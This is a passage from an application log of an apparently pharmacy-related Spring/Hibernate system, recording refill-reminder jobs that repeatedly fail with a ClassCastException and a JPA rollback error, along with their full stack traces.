com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 16:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 16:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 16:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 16:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 16:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 16:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 16:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 16:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 16:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 16:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 16:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 16:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 16:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 16:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 16:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 16:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 16:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 16:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 16:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 16:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 16:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 17:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 17:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 17:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 17:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 17:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 17:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 17:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 17:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 17:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 17:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 17:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 17:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at 